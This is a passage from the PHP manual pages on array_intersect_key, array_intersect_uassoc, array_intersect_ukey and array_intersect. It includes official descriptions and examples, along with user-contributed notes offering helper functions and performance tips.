                unset( $primary_array[$key] );
            } else {
                if ( serialize( $secondary_array[$key] ) != serialize( $value ) ) {
                    unset( $primary_array[$key] );
                }
            }

        }

        return $primary_array;

    } else {
        return array();
    }

}
?>

It would pay attention to both keys and values even if values would be arrays as well. One important note is that if value of $primary_array is yet another array, its order of key & value pairs becomes important for matching.
StR: str at strgt dot cjb dot net 14-Oct-2005 02:34
To find the keys that are in 2 arrays, without caring of the values:

This is a function i needed, and it also returns the values of the first array

<?php
function array_key_intersect(&$a, &$b) {
  $array = array();
  while (list($key,$value) = each($a)) {
    if (isset($b[$key]))
      $array[$key] = $value;
  }
  return $array;
}
?>
vandor at progressive dot hu 14-Dec-2004 08:26
# ket tomb kulcs alapu metszetet szamitja ki, az erteken is ellenorzest vegez
#
# calculating (key base) intersection of arrays (value are checked)
# use: $result_array = array_intersect_assoc($a1, $a2, $a3,..);
#
##
# original code by [jochem at iamjochem dawt com] : array_diff_keys()

<?php
function array_intersect_assoc() {

    $args = func_get_args();
    $res = $args[0];

    for ($i=1;$i<count($args);$i++) {
        if (!is_array($args[$i])) {continue;}

        foreach ($res as $key => $data) {
            if ( (!array_key_exists($key, $args[$i])) || ( (isset($args[$i][$key])) && ($args[$i][$key] !== $res[$key]) ) ) {
                unset($res[$key]);
            }
        }
    }

    return $res;
}

?>

<?php
$array1 = array("a"=>"green", "b"=>"brown", "c"=>"blue", "red");
$array2 = array("a"=>"green", "b"=>"yellow", "c"=>"yellow", "red");
$a = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow');
$b = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow', 'e'=>'yellow');

$result_array = array_intersect_assoc($a, $b, $array1, $array2);
?>

$args array will look like:

(
    0 =>
        (
            a => green
            b => brown
            c => yellow
        )

    1 =>
        (
            a => green
            b => brown
            c => yellow
            e => yellow
        )

    2 =>
        (
            a => green
            b => brown
            c => blue
            0 => red
        )

    3 =>
        (
            a => green
            b => yellow
            c => yellow
            0 => red
        )

)

$result_array will look like:

(
    a => green
)


Computes the intersection of arrays using keys for comparison

  • « array_intersect_assoc
  • array_intersect_uassoc »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays using keys for comparison

array_intersect_key

(PHP 5 >= 5.1.0)

array_intersect_key — Computes the intersection of arrays using keys for comparison

Description

array array_intersect_key ( array $array1 , array $array2 [, array $... ] )

array_intersect_key() returns an array containing all the entries of array1 which have keys that are present in all the arguments.

Parameters

array1

The array with master keys to check.

array2

An array to compare keys against.

...

A variable list of arrays to compare.

Return Values

Returns an associative array containing all the entries of array1 which have keys that are present in all arguments.

Examples

Example #1 array_intersect_key() example

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_key($array1, $array2));
?>

The above example will output:

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

In our example you see that only the keys 'blue' and 'green' are present in both arrays and thus returned. Also notice that the values for the keys 'blue' and 'green' differ between the two arrays. A match still occurs because only the keys are checked. The values returned are those of array1.

The two keys from the key => value pairs are considered equal only if (string) $key1 === (string) $key2 . In other words a strict type check is executed so the string representation must be the same.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_key() - Computes the difference of arrays using keys for comparison
  • array_diff_ukey() - Computes the difference of arrays using a callback function on the keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

github.com/xmarcos 12-May-2014 02:47
Here is a better way to merge settings using some defaults as a whitelist.

<?php

$defaults = [
    'id'            => 123456,
    'client_id'     => null,
    'client_secret' => null,
    'options'       => [
        'trusted' => false,
        'active'  => false
    ]
];

$options = [
    'client_id'       => 789,
    'client_secret'   => '5ebe2294ecd0e0f08eab7690d2a6ee69',
    'client_password' => '5f4dcc3b5aa765d61d8327deb882cf99', // ignored
    'client_name'     => 'IGNORED',                          // ignored
    'options'         => [
        'active' => true
    ]
];

var_dump(
    array_merge_recursive($defaults,
        array_intersect_key(
            $options, $defaults
        )
    )
);

?>

Output:

array (size=4)
    'id'            => int 123456
    'client_id'     => int 789
    'client_secret' => string '5ebe2294ecd0e0f08eab7690d2a6ee69' (length=32)
    'options'       =>
        array (size=2)
            'trusted' => boolean false
            'active'  => boolean true
pixelf3hler at visualize-me dot de 28-Sep-2013 05:08
in case you came here looking for a function that returns an array containing the values of `all` arrays with intersecting keys:
<?php
   function array_merge_on_key($key, $array1, $array2) {
      $arrays = array_slice(func_get_args(), 1);
      $r = array();
      foreach($arrays as &$a) {
         if(array_key_exists($key, $a)) {
            $r[] = $a[$key];
            continue;
         }
      }
      return $r;
   }
   // example:
   $array1 = array("id" => 12, "name" => "Karl");
   $array2 = array("id" => 4, "name" => "Franz");
   $array3 = array("id" => 9, "name" => "Helmut");
   $array4 = array("id" => 10, "name" => "Kurt");

   $result = array_merge_on_key("id", $array1, $array2, $array3, $array4);

   echo implode(",", $result); // => 12,4,9,10
?>
vladas dot dirzys at gmail dot com 13-Aug-2012 05:03
Simple key white-list filter:

<?php
$arr = array('a' => 123, 'b' => 213, 'c' => 321);
$allowed = array('b', 'c');

print_r(array_intersect_key($arr, array_flip($allowed)));
?>

Will return:
Array
(
    [b] => 213
    [c] => 321
)
pgl at yoyo dot org 18-Jul-2011 05:01
Note that the order of the keys in the returned array is the same as the order of the keys in the source array. eg:

<?php
$array = array(
    'two'   => 'a',
    'three' => 'b',
    'one'   => 'c',
    );

$keyswant = array(
    'one'       => '',
    'three'     => '',
    );

print_r(array_intersect_key($array, $keyswant));

?>

Shows:

Array
(
    [three] => b
    [one] => c
)
chrisbloom7 at gmail dot com 11-Nov-2009 07:23
Regarding php at keithtylerdotcom solution to emulate

<?php
$z = someFuncReturningAnArray()['some_key'];
?>

His recommended solution will still return an array. To get the value of a single key in an array returned by a function, simply add implode() to the recipe:

<?php
function someFuncReturningAnArray() {
  return array(
    'a' => 'b',
    'c' => 'd',
    'e' => 'f',
    'g' => 'h',
    'i' => 'j'
  );
}

//traditional way
$temp = someFuncReturningAnArray();
$b = $temp['a'];
echo print_r($b, 1) . "\n----------\n";

//keithtylerdotcom one-line method
$b = array_intersect_key(someFuncReturningAnArray(), array('a'=>''));
echo print_r($b, 1) . "\n----------\n";

//better one line method
$b = implode('', array_intersect_key(someFuncReturningAnArray(), array('a'=>'')));
echo print_r($b, 1) . "\n----------\n";
?>
markus dot kappe at dix dot at 24-Sep-2009 01:43
<?php
    /**
     * calculates intersection of two arrays like array_intersect_key but recursive
     *
     * @param  array/mixed  master array
     * @param  array        array that has the keys which should be kept in the master array
     * @return array/mixed  cleand master array
     */
    function myIntersect($master, $mask) {
        if (!is_array($master)) { return $master; }
        foreach ($master as $k=>$v) {
            if (!isset($mask[$k])) { unset ($master[$k]); continue; } // remove value from $master if the key is not present in $mask
            if (is_array($mask[$k])) { $master[$k] = $this->myIntersect($master[$k], $mask[$k]); } // recurse when mask is an array
            // else simply keep value
        }
        return $master;
    }
?>
pdemaziere at gmail dot com 23-Feb-2009 04:52
Just a simple script if you want to use one array, which contains only zeros and ones, as mask for another one (both arrays must have the same size of course). $outcome is an array that contains only those values from $source where $mask is equal to 1.

<?php
$outcome = array_values(array_intersect_key( array_values($source), array_filter(array_values($mask)) ));
?>

PS: the array_values() function is necessary to ensure that both arrays have the same numbering/keys, otherwise your masking does not behave as you expect.

Enjoy!
CBWhiz at gmail dot com 04-Jan-2008 11:04
I have found the following helpful:
<?PHP
function array_merge_default($default, $data) {
        $intersect = array_intersect_key($data, $default); //Get data for which a default exists
        $diff = array_diff_key($default, $data); //Get defaults which are not present in data
        return $diff + $intersect; //Arrays have different keys, return the union of the two
}
?>
It's use is like both of the functions it uses, but keeps defaults and _only_ defaults. It's designed for key arrays, and i'm not sure how it will work on numeric indexed arrays.

Example:
<?PHP
$default = array(
 "one" => 1,
 "two" => 2
);
$untrusted = array(
 "one" => 42,
 "three" => 3
);
var_dump(array_merge_default($default, $untrusted));

array(2) {
  ["two"]=>
  int(2)
  ["one"]=>
  int(42)
}

?>
Rod Byrnes 06-May-2007 06:10
Here is a faster version than those shown below, with optimisation for the case when only two arrays are passed. In my tests with a 10000 item first array and a 5000 item second array (run 20 times) this function ran in 1.89 seconds compared with 2.66 for the version posted by dak. For a three array case, same as above but with the third array containing 3333 values, the timing is 3.25 for this version compared with 3.7 for dak's version.

<?php
if (!function_exists('array_intersect_key'))
{
  function array_intersect_key($isec, $keys)
  {
    $argc = func_num_args();
    if ($argc > 2)
    {
      for ($i = 1; !empty($isec) && $i < $argc; $i++)
      {
        $arr = func_get_arg($i);
        foreach (array_keys($isec) as $key)
        {
          if (!isset($arr[$key]))
          {
            unset($isec[$key]);
          }
        }
      }
      return $isec;
    }
    else
    {
      $res = array();
      foreach (array_keys($isec) as $key)
      {
        if (isset($keys[$key]))
        {
          $res[$key] = $isec[$key];
        }
      }
      return $res;
    }
  }
}
?>
17-Jul-2006 02:31
Here it is a more obvious way to implement the function:

if (!function_exists('array_intersect_key')) {
    function array_intersect_key()
    {
        $arrs = func_get_args();
        $result = array_shift($arrs);
        foreach ($arrs as $array) {
            foreach ($result as $key => $v) {
                if (!array_key_exists($key, $array)) {
                    unset($result[$key]);
                }
            }
        }
        return $result;
   }
}
Anton Backer 31-Mar-2006 08:49
Jesse: no, array_intersect_key does not accomplish the same thing as what you posted:

array_flip (array_intersect (array_flip ($a), array_flip ($b)))

because when the array is flipped, values become keys. having duplicate values is not a problem, but having duplicate keys is. array_flip resolves it by keeping only one of the duplicates and discarding the rest. by the time you start intersecting, you've already lost information.
aidan at php dot net 29-May-2005 05:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Computes the intersection of arrays with additional index check, compares indexes by a callback function

  • « array_intersect_key
  • array_intersect_ukey »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays with additional index check, compares indexes by a callback function

array_intersect_uassoc

(PHP 5)

array_intersect_uassoc — Computes the intersection of arrays with additional index check, compares indexes by a callback function

Description

array array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func )

array_intersect_uassoc() returns an array containing all the values of array1 that are present in all the arguments. Note that the keys are used in the comparison unlike in array_intersect().

Parameters

array1

Initial array for comparison of the arrays.

array2

First array to compare keys against.

...

Variable list of array arguments to compare values against.

key_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns the values of array1 whose values exist in all of the arguments.

Examples

Example #1 array_intersect_uassoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_intersect_uassoc($array1, $array2, "strcasecmp"));
?>

The above example will output:

Array
(
    [b] => brown
)

See Also

  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

swapniltiwhane at gmail dot com 16-Jul-2013 09:04
$a = array(
        array(
                'id' => 15,
                'name' => 'John',
                'color' => 'red',
        ),
        array(
                'id' => 22,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
);

$b = array(
        array(
                'id' => 15,
                'name' => 'Nancy',
                'color' => 'black',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
        array(
                'id' => 40,
                'name' => 'John',
                'color' => 'orange',
        ),
);

function compare_ids($a, $b)
{
    return ((bool)($a['id'] - $b['id']));
}

print_r(array_intersect_uassoc($a, $b, "compare_ids"));


Computes the intersection of arrays using a callback function on the keys for comparison

  • « array_intersect_uassoc
  • array_intersect »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays using a callback function on the keys for comparison

array_intersect_ukey

(PHP 5 >= 5.1.0)

array_intersect_ukey — Computes the intersection of arrays using a callback function on the keys for comparison

Description

array array_intersect_ukey ( array $array1 , array $array2 [, array $... ], callable $key_compare_func )

array_intersect_ukey() returns an array containing all the values of array1 which have matching keys that are present in all the arguments.

Parameters

array1

Initial array for comparison of the arrays.

array2

First array to compare keys against.

...

Variable list of array arguments to compare keys against.

key_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns the values of array1 whose keys exist in all the arguments.

Examples

Example #1 array_intersect_ukey() example

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_ukey($array1, $array2, 'key_compare_func'));
?>

The above example will output:

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

In our example you see that only the keys 'blue' and 'green' are present in both arrays and thus returned. Also notice that the values for the keys 'blue' and 'green' differ between the two arrays. A match still occurs because only the keys are checked. The values returned are those of array1.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_key() - Computes the difference of arrays using keys for comparison
  • array_diff_ukey() - Computes the difference of arrays using a callback function on the keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison

User Contributed Notes

gk at anuary dot com 01-Oct-2013 01:52
"array_intersect_ukey" will not work if $key_compare_func is using regular expression to perform comparison. "_array_intersect_ukey" fully implements the "array_intersect_ukey" interface and handles properly boolean comparison. However, the native implementation should be preferred for efficiency reasons.

<?php
$key_compare_func = function ($a, $b) {
    var_dump('a=' . $a. '; b=' . $b);

    if (strpos($b, '/') === 0) {
        return preg_match($b, $a) > 0 ? 0 : -1;
    }

    if ($a == $b) {
        $weight = 0;
    } else if ($a > $b) {
        $weight = 1;
    } else {
        $weight = -1;
    }

    var_dump('literal comparison: ' . $weight);

    return $weight;
};

$foo = ['aab' => '', 'bbb' => '', 'ccb' => '', 'abb' => ''];
$bar = ['/[a-z]b[a-z]/' => ''];
$buz = ['/c[a-z][a-z]/' => ''];

echo PHP_EOL . 'array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = array_intersect_ukey ($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

echo PHP_EOL . '_array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = _array_intersect_ukey($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 09 30)
 * @url https://gist.github.com/gajus/271ad5f36337a32a184c
 */
function _array_intersect_ukey (array $arr1, array $arr2, $key_compare_func) {
    $arr_matched = [];
    $arr_unmatched = [];

    $args = func_get_args();

    $key_compare_func = end($args);

    foreach ($arr1 as $k1 => $v1) {
        foreach ($arr2 as $k2 => $v2) {
            $diff = $key_compare_func($k1, $k2);

            //var_dump('k1=' . $k1 . ', k2=' . $k2 . ', diff=' . $diff);

            if ($diff === 0) {
                $arr_matched[$k1] = $v1;
            } else {
                $arr_unmatched[$k1] = $v1;
            }
        }
    }

    if (count($args) <= 3) {
        return $arr_matched;
    }

    array_splice($args, 0, 2, [$arr_unmatched]);

    return array_merge($arr_matched, call_user_func_array('_array_intersect_ukey', $args));
}

/*
array_intersect_ukey

string(12) "a=bbb; b=aab"
string(21) "literal comparison: 1"
string(12) "a=bbb; b=ccb"
string(22) "literal comparison: -1"
string(12) "a=abb; b=bbb"
string(22) "literal comparison: -1"
string(12) "a=aab; b=abb"
string(22) "literal comparison: -1"
string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/c[a-z][a-z]/"

array(0) {
}

_array_intersect_ukey

string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=bbb; b=/[a-z]b[a-z]/"
string(22) "a=ccb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=aab; b=/c[a-z][a-z]/"
string(22) "a=ccb; b=/c[a-z][a-z]/"

array(3) {
  ["bbb"]=>
  string(0) ""
  ["abb"]=>
  string(0) ""
  ["ccb"]=>
  string(0) ""
}*/
?>


Computes the intersection of arrays

  • « array_intersect_ukey
  • array_key_exists »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays

array_intersect

(PHP 4 >= 4.0.1, PHP 5)

array_intersect — Computes the intersection of arrays

Description

array array_intersect ( array $array1 , array $array2 [, array $... ] )

array_intersect() returns an array containing all the values of array1 that are present in all the arguments. Note that keys are preserved.

Parameters

array1

The array with master values to check.

array2

An array to compare values against.

...

A variable list of arrays to compare.

Return Values

Returns an array containing all of the values in array1 whose values exist in all of the parameters.

Examples

Example #1 array_intersect() example

<?php
$array1 = array("a" => "green", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_intersect($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [a] => green
    [0] => red
)

Notes

Note: Two elements are considered equal if and only if (string) $elem1 === (string) $elem2. In words: when the string representation is the same.

See Also

  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check

User Contributed Notes

tim at zeroedin dot com 28-Jan-2014 02:30
Note... this function does not seem intuitive for doing intersection of flat arrays, in the sense that an intersection are common values between. This is an issue if you are doing a for loop over the results of an intersect function, as shown below, wherein the for loop iterates over something different depending on order.

Below is example of a function whioch I think works correctly,  the output from original function, and new function.

function array_value_mutual_intersection($array1, $array2)
{
    $hashMap = array();
    $output = array();
    foreach($array1 as $item)
        $hashMap[$item] = '';
    foreach($array2 as $item)
        if(isset($hashMap[$item]))
            array_push($output, $item);
    return $output;
}

$a = ['one', 'two', 'three', 'four'];
$b = ['three', 'two'];

echo "Original array a = " . json_encode($a) . "\n";
echo "Original array b = " . json_encode($b) . "\n";

echo "PHP array_intersect says interesection of (a,b) is: " . json_encode(array_intersect($a,$b)) . "\n";
echo "PHP array_intersect says interesection of (b,a) is: " . json_encode(array_intersect($b,$a)) . "\n\n";

echo "My intersect function says intersection of (a,b) is: " . json_encode(array_value_mutual_intersection($a, $b)) . "\n";
echo "My intersect function says intersection of (b,a) is: " . json_encode(array_value_mutual_intersection($b, $a)) . "\n\n";

-------output------

$ php test.php
Original array a = ["one","two","three","four"]
Original array b = ["three","two"]
PHP array_intersect says interesection of (a,b) is: {"1":"two","2":"three"}
PHP array_intersect says interesection of (b,a) is: ["three","two"]

My intersect function says intersection of (a,b) is: ["three","two"]
My intersect function says intersection of (b,a) is: ["two","three"]
juliotorres1604 at hotmail dot com 21-Nov-2013 11:34
<?php
// Function to intersect n arrays

function getIntersect($arrays){
        $totalArrays = count($arrays);
        if($totalArrays >= 2){
                $arrayTmp =  $arrays[0];
                for ($i = 1; $i < $totalArrays; $i++) {
                    $arrayTmp = array_intersect($arrayTmp, $arrays[$i]);
                }
                return $arrayTmp;
        }else{
            return FALSE;
        }
    }

// Example:
$arrayTmp[0] = array('0'=>0, '1'=>7, '2'=>5);
$arrayTmp[1] = array('0'=>7, '1'=>5, '2'=>0, '3'=>15);
$arrayTmp[2] = array('0'=>3, '1'=>0, '2'=>7, '3'=>4);

$intersectArray = getIntersect($arrayTmp);
print_r($arrayFinal);
?>

The above example will output:

Array
(
    [0] => 0
    [1] => 7
)
meihao at 126 dot com 21-Nov-2013 05:56
<?php
$a=array(1,2,'3',4);
$b=array('1',2,3);

var_dump($a,$b);

result:
array (size=3)
  0 => int 1
  1 => int 2
  2 => string '3' (length=1)

?>
Mike Block 05-Mar-2013 06:27
I bench-marked some uses of array_intersect and can't believe how slow it is. This isn't as elaborate, but handles most cases and is much faster:

<?php
/**
examines two arrays and returns the intersected arrays with matching keys (ignores duplicate keys)
*/
function simple_array_intersect($a,$b) {
    $a_assoc = $a != array_values($a);
    $b_assoc = $b != array_values($b);
    $ak = $a_assoc ? array_keys($a) : $a;
    $bk = $b_assoc ? array_keys($b) : $b;
    $out = array();
    for ($i=0;$i<sizeof($ak);$i++) {
        if (in_array($ak[$i],$bk)) {
            if ($a_assoc) {
                $out[$ak[$i]] = $a[$ak[$i]];
            } else {
                $out[] = $ak[$i];
            }
        }
    }
    return $out;
}

?>

You can try this out with this:

<?php
// create a large array (simple)
$first = array();
for ($i=500;$i<500000;$i++) {
    $first[] = $i;
}
// create a smaller array (associative)
$second = array();
for ($i=499990;$i<500000;$i++) {
    $second[$i] = rand();
}
echo microtime(true)."\n";
// built-in function
print_r(array_intersect($first,$second));
echo microtime(true)."\n";
// favour simple array as match
print_r(simple_array_intersect($first,$second));
echo microtime(true)."\n";
// favour associative keys for match
print_r(simple_array_intersect($second,$first));
echo microtime(true)."\n";

?>
caffinated 10-Nov-2012 09:13
If you're looking for a relatively easy way to strictly intersect keys and values recursively without array key reordering, here's a simple recursive function:

<?php
function array_intersect_recursive($array1, $array2)
{
  foreach($array1 as $key => $value)
  {
    if (!isset($array2[$key]))
    {
      unset($array1[$key]);
    }
    else
    {
      if (is_array($array1[$key]))
      {
        $array1[$key] = array_intersect_recursive($array1[$key], $array2[$key]);
      }
      elseif ($array2[$key] !== $value)
      {
        unset($array1[$key]);
      }
    }
  }
  return $array1;
}
?>
dml at nm dot ru 20-May-2011 02:06
The built-in function returns wrong result when input arrays have duplicate values.
Here is a code that works correctly:

<?php
function array_intersect_fixed($array1, $array2) {
    $result = array();
    foreach ($array1 as $val) {
      if (($key = array_search($val, $array2, TRUE))!==false) {
         $result[] = $val;
         unset($array2[$key]);
      }
    }
    return $result;
}
?>
faharanik 30-Jun-2010 04:30
Here's my approach to intersection returning only the values present in all the arrays.
Note that each array must not contain duplicate values.
I don't know how effective it actually is, but perhaps it could help.

<?php
// $arrays - Array of arrays to intersect.

function calculate_intersection($arrays)
    {
    $intersection = Array();

    for($checked_item = 0; $checked_item < count($arrays[0]); $checked_item++)
        {
        $occurrence = 1;

        for($compared_array = 1; $compared_array < count($arrays); $compared_array++)
            {
            for($compared_item = 0; $compared_item < count($arrays[$compared_array]); $compared_item++)
                {
                if($arrays[0][$checked_item] == $arrays[$compared_array][$compared_item])
                    {
                    $occurrence++;

                    if($occurrence == count($arrays))
                        {
                        $intersection[] = $arrays[0][$checked_item];
                        }
                    }
                }
            }
        }

    return $intersection;
    }
?>
Yohann 12-Apr-2010 01:36
I used array_intersect in order to sort an array arbitrarly:

<?php
$a = array('one', 'two', 'three', 'four', 'five', 'six', 'seven', 'height', 'nine', 'ten');
$b = array('four', 'one', 'height', 'five')
var_dump(array_intersect($a, $b);
?>

will output:

0 => 'one'
1 => 'four'
2 => 'five'
3 => 'height'

i hope this can help...
james -at- bandit.co -dot- nz 08-Apr-2010 03:07
I needed an array_intersect that would delete the intersecting values from the original array. Voila:

<?php
// array_intersect that splits the needle array into two - one filled with "intersected" results, and one filled with the remainder
function array_intersect_split(&$needle, $haystack, $preserve_keys = false) {
    if(!is_array($needle) || !is_array($haystack)) return false;
    $new_arr = array();
    foreach($needle as $key => $value) {
        if(($loc = array_search($value, $haystack))!==false) {
            if(!$preserve_keys) $new_arr[] = $value;
            else $new_arr[$key] = $value;
            unset($needle[$key]);
        }
    }
    return $new_arr;
}
?>
189780 at gmail dot com 02-Jan-2010 04:26
Actually array_intersect finds the dublicate values, here is my approach which is 5 times faster than built-in function array_intersect().. Give a try..

<?php
function my_array_intersect($a,$b)
{
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$a[$i];
        }
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$b[$i];
        }
        sort($m);
        $get=array();
        for($i=0;$i<sizeof($m);$i++)
        {
                if($m[$i]==$m[$i+1])
                $get[]=$m[$i];
        }
        return $get;
}
?>

Barış ÇUHADAR
189780@gmail.com
Shawn Pyle 13-Aug-2009 06:29
array_intersect handles duplicate items in arrays differently. If there are duplicates in the first array, all matching duplicates will be returned. If there are duplicates in any of the subsequent arrays they will not be returned.

<?php
array_intersect(array(1,2,2),array(1,2,3)); //=> array(1,2,2)
array_intersect(array(1,2,3),array(1,2,2)); //=> array(1,2)
?>
gary 21-Jun-2009 09:57
i wrote this one to get over the problem i found in getting strings intersected instead of arrays as there is no function in php.

<?php
function matched_main_numbers($string, $string2)
{
$string = "04 16 17 20 29";
$arr1 = explode(" ", $string);

$string2 = "45 34 04 29 16";
$arr2 = explode(" ", $string2);

$array = array_intersect($arr1, $arr2);
$comma_separated = implode($array);

$str = $comma_separated;

$balls = "$comma_separated";
$matched_balls = chunk_split($balls,2," ");
$matched_balls =" $matched_balls";

$number_of_matched_main_balls = strlen($str);
$number_of_matched_main_balls = ($number_of_matched_main_balls/2);
$numbers = "You matched $number_of_matched_main_balls main balls";

return $numbers;

}
?>
Oto Brglez 10-Mar-2009 04:02
If you wish to create intersection with arrays that are empty. Than the result of intersection is empty array.

If you wish to change this. I sugest that you do this.
It simply "ignores" empty arrays. Before loop use 1st array.

<?php

$a = array();
$a[] = 1;
$a[] = 2;
$a[] = 3;

$b = array();
$b[] = 4;
$b[] = 5;
$b[] = 1;

$c = array();
$c[] = 1;
$c[] = 5;
$d = array();

$kb=array('a','b','c','d');

$out = $a;
foreach($kb as $k){
    if(!empty(${$k})) $out = array_intersect($out,${$k});
};
print_r($out);
// The result is array

// The result is empty array
print_r(array_intersect($a,$b,$c,$d));

?>
karl at libsyn dot com 30-Jan-2009 06:58
Given a multidimensional array that represents AND/OR relationships (example below), you can use a recursive function with array_intersect() to see if another array matches that set of relationships.

For example: array( array( 'red' ), array( 'white', 'blue' ) ) represents "red OR ( white AND blue )".  array( 'red', array( 'white', 'blue' ) ) would work, too, BTW.

If I have array( 'red' ) and I want to see if it matches the AND/OR array, I use the following function.  It returns the matched array,
but can just return a boolean if that's all you need:

<?php
$needle = array( array( 'red' ), array( 'white', 'blue' ) );
$haystack = array( 'red' );

function findMatchingArray( $needle, $haystack ) {
    foreach( $needle as $element ) {
        $test_element = (array) $element;
        if( count( $test_element ) == count( array_intersect( $test_element, $haystack ) ) ) {
            return $element;
        }

    }
    return false;
}
?>

Pretty tough to describe what I needed it to do, but it worked.  I don't know if anyone else out there needs something like this, but hope this helps.
Esfandiar -- e.bandari at gmail dot com 10-Aug-2008 09:44
Regarding array union:  Here is a faster version array_union($a, $b)

But it is not needed!  See below.

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            $a,
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>

You get the same result with $a + $b.

N.B. for associative array the results of $a+$b and $b+$a are different, I think array_diff_key is used.

Cheers, E
stuart at horuskol dot co dot uk 08-Jul-2008 12:57
A clearer example of the key preservation of this function:

<?php

$array1 = array(2, 4, 6, 8, 10, 12);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));
var_dump(array_intersect($array2, $array1));

?>

yields the following:

array(3) {
  [0]=> int(2)
  [1]=> int(4)
  [2]=> int(6)
}

array(3) {
  [1]=> int(2)
  [3]=> int(4)
  [5]=> int(6)
}

This makes it important to remember which way round you passed the arrays to the function if these keys are relied on later in the script.
Malte 10-Feb-2008 07:34
Extending the posting by Terry from 07-Feb-2006 04:42:

If you want to use this function with arrays which have sometimes the same value several times, it won't be checked if they're existing in the second array as much as in the first.
So I delete the value in the second array, if it's found there:

<?php
$firstarray = array(1, 1, 2, 3, 4, 1);
$secondarray = array(4, 1, 6, 5, 4, 1);

//array_intersect($firstarray, $secondarray): 1, 1, 1, 4

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }else{
        unset($secondarray[array_search($value,$secondarray)]);
    }
}

//$firstarray: 1, 1, 4

?>
aaron 17-Dec-2006 06:36
this one will work with associative arrays.  also an overwrite function to only replace those elements in the first array.

<?php

function array_union()
{
    if (func_num_args() < 2) { return; }
    $arrays = func_get_args();
    $outputArray = array_shift($arrays);
    $remaining = count($arrays);
    for ($i=0; $i<$remaining; $i++)
    {
